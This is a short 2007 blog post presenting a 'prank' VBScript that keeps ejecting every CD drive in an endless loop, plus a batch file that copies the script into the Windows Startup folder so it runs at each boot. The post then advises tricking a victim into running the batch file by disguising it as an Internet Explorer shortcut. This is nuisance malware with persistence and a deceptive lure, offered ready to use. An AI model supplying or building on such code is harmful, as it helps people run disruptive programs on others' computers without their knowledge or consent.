Sunday, November 18, 2007

Open CD-Rom Prank...

Here I will show you a basic VBS script that opens a cd drive every time found closed. so ultimately always opens CD drive till closed just copy paste this code into Notepad (any basic ANSI standard text editor) and save as CDfun.vbs and dont forget the .vbs partset wmp = createObject("wmplayer.ocx.7")set drives = wmp.cdromCollectionsub open_saysame()on error resume nextdoif drives.count >= 1 thenfor i = 0 to drives.count - 1drives.item(i).eject()nextend ifloopend subopen_saysame()now this is funny but what if it was even funnier. what if every time you started you r computer it loaded? that could make it even better... so open a new notepad document (blank) and insert this code into it NOTE: numbered to show which line it is.1:)copy CDfun.vbs "c:\Documents and Settings\%username%\Start Menu\Programs\Startup\"2:)CDfun.vbsSave this as run.bat, now comes the fun part. all you need to do is get them to somehow open this run.bat. there are many ways. one way is to make a shortcut to it called "internet Explorer" and right click to change properties on icon. that way it will look just like Internet Explorer.

No comments: